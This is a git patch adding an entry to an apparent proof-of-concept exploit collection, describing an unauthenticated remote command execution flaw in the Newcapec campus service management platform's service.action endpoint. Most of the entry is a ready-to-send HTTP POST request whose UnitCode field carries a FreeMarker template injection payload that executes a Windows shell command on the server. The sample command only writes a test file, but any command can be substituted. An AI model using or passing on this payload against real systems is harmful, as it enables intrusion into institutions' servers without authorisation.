From 1689ab3adff880a740b6986b96b31ab4ca4d03e3 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Tue, 28 Nov 2023 19:03:51 +0800
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diff --git a/新开普掌上校园服务管理平台service.action远程命令执行.md b/新开普掌上校园服务管理平台service.action远程命令执行.md
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+
+## 新开普掌上校园服务管理平台service.action远程命令执行
+新开普掌上校园服务管理平台service.action接口处存在远程命令执行漏洞，攻击者可在未经身份认证的情况下，调用后台接口，执行恶意系统命令。
+
+## POC
+```
+POST /service_transport/service.action HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
+Connection: close
+Content-Length: 211
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
+Upgrade-Insecure-Requests: 1
+
+{  "command": "GetFZinfo",  "UnitCode": "<#assign ex = "freemarker.template.utility.Execute"  ?new()>${ex("cmd /c echo 123 >./webapps/ROOT/test.txt")}"}
+
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/1743d6a9-3472-4e9e-ad0e-86b1d5a50dac)
+![image](https://github.com/wy876/POC/assets/139549762/67e35c0c-6892-409c-9239-425b79566650)
+